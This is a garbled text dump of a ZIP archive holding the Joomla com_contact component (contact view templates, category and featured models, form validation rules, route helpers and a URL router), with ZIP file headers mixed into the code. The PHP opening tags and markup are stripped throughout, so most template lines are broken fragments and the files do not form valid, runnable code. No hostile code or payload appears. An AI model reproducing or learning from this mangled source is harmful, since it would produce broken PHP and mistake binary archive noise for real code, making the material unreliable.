            params->get('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?> params->get('presentation_style')!='plain'):?> params->get('presentation_style').'.panel', JText::_('COM_CONTACT_EMAIL_FORM'), 'display-form'); ?> params->get('presentation_style')=='plain'):?> '. JText::_('COM_CONTACT_EMAIL_FORM').''; ?> loadTemplate('form'); ?> params->get('show_links')) : ?> loadTemplate('links'); ?> params->get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?> params->get('presentation_style')!='plain'):?> params->get('presentation_style').'.panel', JText::_('JGLOBAL_ARTICLES'), 'display-articles'); ?> params->get('presentation_style')=='plain'):?> '. JText::_('JGLOBAL_ARTICLES').''; ?> loadTemplate('articles'); ?> params->get('show_profile') && $this->contact->user_id && JPluginHelper::isEnabled('user', 'profile')) : ?> params->get('presentation_style')!='plain'):?> params->get('presentation_style').'.panel', JText::_('COM_CONTACT_PROFILE'), 'display-profile'); ?> params->get('presentation_style')=='plain'):?> '. JText::_('COM_CONTACT_PROFILE').''; ?> loadTemplate('profile'); ?> contact->misc && $this->params->get('show_misc')) : ?> params->get('presentation_style')!='plain'){?> params->get('presentation_style').'.panel', JText::_('COM_CONTACT_OTHER_INFORMATION'), 'display-misc');} ?> params->get('presentation_style')=='plain'):?> '. JText::_('COM_CONTACT_OTHER_INFORMATION').''; ?>
            params->get('marker_misc'); ?>
            contact->misc; ?>
            params->get('presentation_style')!='plain'){?> params->get('presentation_style').'.end');} ?>
            PKGy>\e /com_contact/views/contact/tmpl/default_form.phpnuW+Aerror)) : ?>
            error; ?>
            form->getLabel('contact_name'); ?>
            form->getInput('contact_name'); ?>
            form->getLabel('contact_email'); ?>
            form->getInput('contact_email'); ?>
            form->getLabel('contact_subject'); ?>
            form->getInput('contact_subject'); ?>
            form->getLabel('contact_message'); ?>
            form->getInput('contact_message'); ?>
            params->get('show_email_copy')){ ?>
            form->getLabel('contact_email_copy'); ?>
            form->getInput('contact_email_copy'); ?>
            form->getFieldsets() as $fieldset): ?> name != 'contact'):?> form->getFieldset($fieldset->name);?> hidden): ?> input;?>
            label; ?> required && $field->type != "Spacer"): ?>
            input;?>
            PKGy>\Q#^^2com_contact/views/contact/tmpl/default_address.phpnuW+A params->get('address_check') > 0) && ($this->contact->address || $this->contact->suburb || $this->contact->state || $this->contact->country || $this->contact->postcode)) : ?>
            params->get('address_check') > 0) : ?> params->get('marker_address'); ?>
            contact->address && $this->params->get('show_street_address')) : ?> contact->address); ?> contact->suburb && $this->params->get('show_suburb')) : ?> contact->suburb; ?> contact->state && $this->params->get('show_state')) : ?> contact->state; ?> contact->postcode && $this->params->get('show_postcode')) : ?> contact->postcode; ?> contact->country && $this->params->get('show_country')) : ?> contact->country; ?> params->get('address_check') > 0) : ?>
            params->get('show_email') || $this->params->get('show_telephone')||$this->params->get('show_fax')||$this->params->get('show_mobile')|| $this->params->get('show_webpage') ) : ?>
            contact->email_to && $this->params->get('show_email')) : ?>

            params->get('marker_email'); ?> contact->email_to; ?>

            contact->telephone && $this->params->get('show_telephone')) : ?>

            params->get('marker_telephone'); ?> contact->telephone); ?>

            contact->fax && $this->params->get('show_fax')) : ?>

            params->get('marker_fax'); ?> contact->fax); ?>

            contact->mobile && $this->params->get('show_mobile')) :?>

            params->get('marker_mobile'); ?> contact->mobile); ?>

            contact->webpage && $this->params->get('show_webpage')) : ?>

            contact->webpage; ?>

            params->get('show_email') || $this->params->get('show_telephone')||$this->params->get('show_fax')||$this->params->get('show_mobile')|| $this->params->get('show_webpage') ) : ?>
            PKGy>\qpp0com_contact/views/contact/tmpl/default_links.phpnuW+Aparams->get('presentation_style')) : echo '

            '.JText::_('COM_CONTACT_LINKS').'

            '; else : echo JHtml::_($this->params->get('presentation_style').'.panel', JText::_('COM_CONTACT_LINKS'), 'display-links'); endif; ?> PKGy>\p3com_contact/views/contact/tmpl/default_articles.phpnuW+A params->get('show_articles')) : ?>
              item->articles as $article) : ?>
            1. slug, $article->catslug)), htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
            PKGy>\,( ( &com_contact/views/contact/view.vcf.phpnuW+Aget('State'); $item = $this->get('Item'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } $doc = JFactory::getDocument(); $doc->setMetaData('Content-Type', 'text/directory', true); // Initialise variables. $app = JFactory::getApplication(); $params = $app->getParams(); $user = JFactory::getUser(); $dispatcher =& JDispatcher::getInstance(); // Compute lastname, firstname and middlename $item->name = trim($item->name); // "Lastname, Firstname Midlename" format support // e.g. "de Gaulle, Charles" $namearray = explode(',', $item->name); if (count($namearray) > 1 ) { $lastname = $namearray[0]; $card_name = $lastname; $name_and_midname = trim($namearray[1]); $firstname = ''; if (!empty($name_and_midname)) { $namearray = explode(' ', $name_and_midname); $firstname = $namearray[0]; $middlename = (count($namearray) > 1) ? $namearray[1] : ''; $card_name = $firstname . ' ' . ($middlename ? $middlename . ' ' : '') . $card_name; } } // "Firstname Middlename Lastname" format support else { $namearray = explode(' ', $item->name); $middlename = (count($namearray) > 2) ? $namearray[1] : ''; $firstname = array_shift($namearray); $lastname = count($namearray) ? end($namearray) : ''; $card_name = $firstname . ($middlename ? ' ' . $middlename : '') . ($lastname ? ' ' . $lastname : ''); } $rev = date('c', strtotime($item->modified)); JResponse::setHeader('Content-disposition', 'attachment; filename="'.$card_name.'.vcf"', true); $vcard = array(); $vcard[].= 'BEGIN:VCARD'; $vcard[].= 'VERSION:3.0'; $vcard[] = 'N:'.$lastname.';'.$firstname.';'.$middlename; $vcard[] = 'FN:'. $item->name; $vcard[] = 'TITLE:'.$item->con_position; $vcard[] = 'TEL;TYPE=WORK,VOICE:'.$item->telephone; $vcard[] = 'TEL;TYPE=WORK,FAX:'.$item->fax; $vcard[] = 'TEL;TYPE=WORK,MOBILE:'.$item->mobile; $vcard[] = 'ADR;TYPE=WORK:;;'.$item->address.';'.$item->suburb.';'.$item->state.';'.$item->postcode.';'.$item->country; $vcard[] = 'LABEL;TYPE=WORK:'.$item->address."\n".$item->suburb."\n".$item->state."\n".$item->postcode."\n".$item->country; $vcard[] = 'EMAIL;TYPE=PREF,INTERNET:'.$item->email_to; $vcard[] = 'URL:'.$item->webpage; $vcard[] = 'REV:'.$rev.'Z'; $vcard[] = 'END:VCARD'; echo implode("\n", $vcard); return true; } } PKGy>\))com_contact/views/featured/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\sʈ+com_contact/views/featured/tmpl/default.phpnuW+A
            params->get('show_page_heading')!=0 ): ?>

            escape($this->params->get('page_heading')); ?>

            loadTemplate('items'); ?> params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2 && $this->pagination->get('pages.total') > 1)) : ?>
            PKGy>\%!0!0+com_contact/views/featured/tmpl/default.xmlnuW+A
            PKGy>\GXz>>1com_contact/views/featured/tmpl/default_items.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); // Create a shortcut for params. $params = &$this->item->params; ?> items)) : ?>

            params->get('show_pagination_limit')) : ?>
              pagination->getLimitBox(); ?>
            params->get('show_headings')) : ?> params->get('show_position_headings')) : ?> params->get('show_email_headings')) : ?> params->get('show_telephone_headings')) : ?> params->get('show_mobile_headings')) : ?> params->get('show_fax_headings')) : ?> params->get('show_suburb_headings')) : ?> params->get('show_state_headings')) : ?> params->get('show_country_headings')) : ?> items as $i => $item) : ?> "> params->get('show_position_headings')) : ?> params->get('show_email_headings')) : ?> params->get('show_telephone_headings')) : ?> params->get('show_mobile_headings')) : ?> params->get('show_fax_headings')) : ?> params->get('show_suburb_headings')) : ?> params->get('show_state_headings')) : ?> params->get('show_country_headings')) : ?>
            name; ?> con_position; ?> telephone; ?> mobile; ?> fax; ?> suburb; ?> state; ?> country; ?>
            PKGy>\V*com_contact/views/featured/tmpl/index.htmlnuW+A PKGy>\!'com_contact/views/featured/metadata.xmlnuW+A PKGy>\)$com_contact/views/featured/.htaccessnuW+A Order allow,deny Deny from all PKGy>\(com_contact/views/featured/view.html.phpnuW+AgetParams(); // Get some data from the models $state = $this->get('State'); $items = $this->get('Items'); $category = $this->get('Category'); $children = $this->get('Children'); $parent = $this->get('Parent'); $pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Check whether category access level allows access. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); // Prepare the data. // Compute the contact slug. for ($i = 0, $n = count($items); $i < $n; $i++) { $item = &$items[$i]; $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; $temp = new JRegistry(); $temp->loadString($item->params); $item->params = clone($params); $item->params->merge($temp); if ($item->params->get('show_email', 0) == 1) { $item->email_to = trim($item->email_to); if (!empty($item->email_to) && JMailHelper::isEmailAddress($item->email_to)) { $item->email_to = JHtml::_('email.cloak', $item->email_to); } else { $item->email_to = ''; } } } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $maxLevel = $params->get('maxLevel', -1); $this->assignRef('maxLevel', $maxLevel); $this->assignRef('state', $state); $this->assignRef('items', $items); $this->assignRef('category', $category); $this->assignRef('children', $children); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('pagination', $pagination); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_CONTACT_DEFAULT_PAGE_TITLE')); } $id = (int) @$menu->query['id']; $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\V%com_contact/views/featured/index.htmlnuW+A PKGy>\8 !com_contact/models/categories.phpnuW+AsetState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = JRequest::getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.parentId'); return parent::getStoreId($id); } /** * redefine the function an add some properties to make the styling more easy * * @return mixed An array of data items on success, false on failure. */ public function getItems() { if(!count($this->_items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry(); if($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0); $categories = JCategories::getInstance('Contact', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if(is_object($this->_parent)) { $this->_items = $this->_parent->getChildren(); } else { $this->_items = false; } } return $this->_items; } public function getParent() { if(!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } PKGy>\MO0com_contact/models/rules/contactemailmessage.phpnuW+Aget('banned_text'); foreach(explode(';', $banned) as $item){ if ($item != '' && JString::stristr($value, $item) !== false) return false; } return true; } } PKGy>\kc0com_contact/models/rules/contactemailsubject.phpnuW+Aget('banned_subject'); foreach(explode(';', $banned) as $item){ if ($item != '' && JString::stristr($value, $item) !== false) return false; } return true; } } PKGy>\cXC)com_contact/models/rules/contactemail.phpnuW+Aget('banned_email'); foreach(explode(';', $banned) as $item){ if ($item != '' && JString::stristr($value, $item) !== false) return false; } return true; } } PKGy>\)"com_contact/models/rules/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V#com_contact/models/rules/index.htmlnuW+A PKGy>\177!com_contact/models/forms/form.xmlnuW+A
            PKGy>\&%&%com_contact/models/category.phpnuW+A_params)) { $params = new JRegistry(); $params->loadString($item->params); $item->params = $params; } } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the categories. //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select($this->getState('list.select', 'a.*') . ','.$case_when.','.$case_when1); // . ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug, ' // . ' CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END AS catslug '); $query->from($db->quoteName('#__contact_details').' AS a'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); $query->where('a.access IN ('.$groups.')'); // Filter by category. if ($categoryId = $this->getState('category.id')) { $query->where('a.catid = '.(int) $categoryId); $query->where('c.access IN ('.$groups.')'); } // Join over the users for the author and modified_by names. $query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author"); $query->select("ua.email AS author_email"); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_by'); $query->join('LEFT', '#__users AS uam ON uam.id = a.modified_by'); // Filter by state $state = $this->getState('filter.published'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $nowDate = $db->Quote(JFactory::getDate()->toSql()); if ($this->getState('filter.publish_date')){ $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->Quote(JFactory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')'); } // Set sortname ordering if selected if ($this->getState('list.ordering') == 'sortname') { $query->order($db->escape('a.sortname1').' '.$db->escape($this->getState('list.direction', 'ASC'))); $query->order($db->escape('a.sortname2').' '.$db->escape($this->getState('list.direction', 'ASC'))); $query->order($db->escape('a.sortname3').' '.$db->escape($this->getState('list.direction', 'ASC'))); } else { $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); } return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_contact'); $db = $this->getDbo(); // List state information $format = JRequest::getWord('format'); if ($format=='feed') { $limit = $app->getCfg('feed_limit'); } else { $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); } $this->setState('list.limit', $limit); $limitstart = JRequest::getUInt('limitstart', 0); $this->setState('list.start', $limitstart); // Get list ordering default from the parameters $menuParams = new JRegistry(); if ($menu = $app->getMenu()->getActive()) { $menuParams->loadString($menu->params); } $mergedParams = clone $params; $mergedParams->merge($menuParams); $orderCol = JRequest::getCmd('filter_order', $mergedParams->get('initial_sort', 'ordering')); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = JRequest::getCmd('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $id = JRequest::getVar('id', 0, '', 'int'); $this->setState('category.id', $id); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))){ // limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', $app->getLanguageFilter()); // Load the parameters. $this->setState('params', $params); } /** * Method to get category data for the current category * * @param int An optional ID * * @return object * @since 1.5 */ public function getCategory() { if(!is_object($this->_item)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry(); if($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0); $categories = JCategories::getInstance('Contact', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); if(is_object($this->_item)) { $this->_children = $this->_item->getChildren(); $this->_parent = false; if($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent category. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ public function getParent() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ function &getLeftSibling() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } function &getRightSibling() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ function &getChildren() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_children; } } PKGy>\>com_contact/models/featured.phpnuW+A_params)) { $params = new JRegistry(); $params->loadString($item->params); $item->params = $params; } } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the categories. $query->select($this->getState('list.select', 'a.*')); $query->from($db->quoteName('#__contact_details').' AS a'); $query->where('a.access IN ('.$groups.')'); $query->where('a.featured=1'); $query->join('INNER', '#__categories AS c ON c.id = a.catid'); $query->where('c.access IN ('.$groups.')'); // Filter by category. if ($categoryId = $this->getState('category.id')) { $query->where('a.catid = '.(int) $categoryId); } //sqlsrv change... aliased c.published to cat_published // Join to check for category published state in parent categories up the tree $query->select('c.published as cat_published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published'); $subquery = 'SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent '; $subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt '; $subquery .= 'WHERE parent.extension = ' . $db->quote('com_contact'); // Find any up-path categories that are not published // If all categories are published, badcats.id will be null, and we just use the contact state $subquery .= ' AND parent.published != 1 GROUP BY cat.id '; // Select state to unpublished if up-path category is unpublished $publishedWhere = 'CASE WHEN badcats.id is null THEN a.published ELSE 0 END'; $query->join('LEFT OUTER', '(' . $subquery . ') AS badcats ON badcats.id = c.id'); // Filter by state $state = $this->getState('filter.published'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $date = JFactory::getDate(); $nowDate = $db->Quote($date->toSql()); $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); $query->where($publishedWhere . ' = ' . (int) $state); } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->Quote(JFactory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')'); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_contact'); // List state information $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); $this->setState('list.limit', $limit); $limitstart = JRequest::getUInt('limitstart', 0); $this->setState('list.start', $limitstart); $orderCol = JRequest::getCmd('filter_order', 'ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = JRequest::getCmd('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))){ // limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', $app->getLanguageFilter()); // Load the parameters. $this->setState('params', $params); } } PKGy>\f>>com_contact/metadata.xmlnuW+A PKGy>\-8 com_contact/helpers/route.phpnuW+A array((int) $id) ); //Create the link $link = 'index.php?option=com_contact&view=contact&id='. $id; if ($catid > 1) { $categories = JCategories::getInstance('Contact'); $category = $categories->get($catid); if ($category) { $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } public static function getCategoryRoute($catid) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Contact')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); //Create the link $link = 'index.php?option=com_contact&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); // Prepare the reverse lookup array. if (self::$lookup === null) { self::$lookup = array(); $component = JComponentHelper::getComponent('com_contact'); $items = $menus->getItems('component_id', $component->id); foreach ($items as $item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$view])) { self::$lookup[$view] = array(); } if (isset($item->query['id'])) { self::$lookup[$view][$item->query['id']] = $item->id; } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$view])) { foreach($ids as $id) { if (isset(self::$lookup[$view][(int)$id])) { return self::$lookup[$view][(int)$id]; } } } } } $active = $menus->getActive(); if ($active) { return $active->id; } return null; } } PKGy>\>A com_contact/helpers/category.phpnuW+A\db3 com_contact/helpers/icon.phpnuW+AtoString(array('scheme', 'host', 'port')); $link = $base.JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid) , false); $url = 'index.php?option=com_mailto&tmpl=component&link='.MailToHelper::addLink($link); $status = 'width=400,height=350,menubar=yes,resizable=yes'; if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/emailButton.png', JText::_('JGLOBAL_EMAIL'), NULL, true); } else { $text = ' '.JText::_('JGLOBAL_EMAIL'); } $attribs['title'] = JText::_('JGLOBAL_EMAIL'); $attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;"; $output = JHtml::_('link', JRoute::_($url), $text, $attribs); return $output; } static function print_popup($article, $params, $attribs = array()) { $url = ContentHelperRoute::getContactRoute($contact->slug, $contact->catid); $url .= '&tmpl=component&print=1&layout=default&page='.@ $request->limitstart; $status = 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'; // checks template image directory for image, if non found default are loaded if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true); } else { $text = JText::_('JGLOBAL_ICON_SEP') .' '. JText::_('JGLOBAL_PRINT') .' '. JText::_('JGLOBAL_ICON_SEP'); } $attribs['title'] = JText::_('JGLOBAL_PRINT'); $attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;"; $attribs['rel'] = 'nofollow'; return JHtml::_('link', JRoute::_($url), $text, $attribs); } static function print_screen($contact, $params, $attribs = array()) { // checks template image directory for image, if non found default are loaded if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true); } else { $text = JText::_('JGLOBAL_ICON_SEP') .' '. JText::_('JGLOBAL_PRINT') .' '. JText::_('JGLOBAL_ICON_SEP'); } return ''.$text.''; } } PKGy>\. bbcom_contact/router.phpnuW+AgetMenu(); $params = JComponentHelper::getParams('com_contact'); $advanced = $params->get('sef_advanced_link', 0); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mCatid = (empty($menuItem->query['catid'])) ? null : $menuItem->query['catid']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if (isset($query['view'])) { $view = $query['view']; if (empty($query['Itemid'])) { $segments[] = $query['view']; } unset($query['view']); }; // are we dealing with a contact that is attached to a menu item? if (isset($view) && ($mView == $view) and (isset($query['id'])) and ($mId == intval($query['id']))) { unset($query['view']); unset($query['catid']); unset($query['id']); return $segments; } if (isset($view) and ($view == 'category' or $view == 'contact')) { if ($mId != intval($query['id']) || $mView != $view) { if($view == 'contact' && isset($query['catid'])) { $catid = $query['catid']; } elseif(isset($query['id'])) { $catid = $query['id']; } $menuCatid = $mId; $categories = JCategories::getInstance('Contact'); $category = $categories->get($catid); if($category) { //TODO Throw error that the category either not exists or is unpublished $path = array_reverse($category->getPath()); $array = array(); foreach($path as $id) { if((int) $id == (int)$menuCatid) { break; } if($advanced) { list($tmp, $id) = explode(':', $id, 2); } $array[] = $id; } $segments = array_merge($segments, array_reverse($array)); } if($view == 'contact') { if($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } } unset($query['id']); unset($query['catid']); } if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } }; return $segments; } /** * Parse the segments of a URL. * * @param array The segments of the URL to parse. * * @return array The URL attributes to be used by the application. */ function ContactParseRoute($segments) { $vars = array(); //Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); $params = JComponentHelper::getParams('com_contact'); $advanced = $params->get('sef_advanced_link', 0); // Count route segments $count = count($segments); // Standard routing for newsfeeds. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // From the categories view, we can only jump to a category. $id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root'; $contactCategory = JCategories::getInstance('Contact')->get($id); $categories = ($contactCategory) ? $contactCategory->getChildren() : array(); $vars['catid'] = $id; $vars['id'] = $id; $found = 0; foreach($segments as $segment) { $segment = $advanced ? str_replace(':', '-', $segment) : $segment; foreach($categories as $category) { if ($category->slug == $segment || $category->alias == $segment) { $vars['id'] = $category->id; $vars['catid'] = $category->id; $vars['view'] = 'category'; $categories = $category->getChildren(); $found = 1; break; } } if ($found == 0) { if($advanced) { $db = JFactory::getDBO(); $query = 'SELECT id FROM #__contact_details WHERE catid = '.$vars['catid'].' AND alias = '.$db->Quote($segment); $db->setQuery($query); $nid = $db->loadResult(); } else { $nid = $segment; } $vars['id'] = $nid; $vars['view'] = 'contact'; } $found = 0; } return $vars; } PKGy>\V!com_content/views/form/index.htmlnuW+A PKGy>\) com_content/views/form/.htaccessnuW+A Order allow,deny Deny from all PKGy>\T$com_content/views/form/tmpl/edit.phpnuW+Astate->get('params'); //$images = json_decode($this->item->images); //$urls = json_decode($this->item->urls); // This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings. $editoroptions = isset($params->show_publishing_options); if (!$editoroptions): $params->show_urls_images_frontend = '0'; endif; ?>
            get('show_page_heading')) : ?>

            escape($params->get('page_heading')); ?>

            form->getLabel('title'); ?> form->getInput('title'); ?>
            item->id)):?>
            form->getLabel('alias'); ?> form->getInput('alias'); ?>
            form->getInput('articletext'); ?>
            get('show_urls_images_frontend') ): ?>
            form->getLabel('image_intro', 'images'); ?> form->getInput('image_intro', 'images'); ?>
            form->getLabel('image_intro_alt', 'images'); ?> form->getInput('image_intro_alt', 'images'); ?>
            form->getLabel('image_intro_caption', 'images'); ?> form->getInput('image_intro_caption', 'images'); ?>
            form->getLabel('float_intro', 'images'); ?> form->getInput('float_intro', 'images'); ?>
            form->getLabel('image_fulltext', 'images'); ?> form->getInput('image_fulltext', 'images'); ?>
            form->getLabel('image_fulltext_alt', 'images'); ?> form->getInput('image_fulltext_alt', 'images'); ?>
